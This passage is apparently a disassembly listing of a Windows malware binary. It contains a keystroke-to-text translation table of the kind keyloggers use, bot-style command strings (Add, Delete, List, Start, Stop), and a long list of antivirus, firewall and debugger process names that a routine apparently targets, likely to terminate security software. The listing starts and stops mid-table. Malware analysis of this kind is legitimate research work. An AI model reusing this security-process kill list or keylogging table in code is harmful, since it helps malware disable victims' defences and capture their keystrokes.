		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_42ECCC	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	3 dup(0)
off_42ED08	dd offset aAdd		; DATA XREF: sub_4082A9+59r
					; sub_408321+4Ar ...
					; "Add"
off_42ED0C	dd offset aAdded	; DATA XREF: sub_4082A9+2Dr
					; sub_408321+7Cr ...
					; "Added"
dword_42ED10	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		dd 0
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4246D0h, 4246C8h,	2, 4246BCh, 4246B0h, 3,	0
dword_42ED60	dd 7530h			align 8
off_42ED68	dd offset aAckwin32_exe	; DATA XREF: sub_408D07:loc_408DCEr
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe_0 ; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
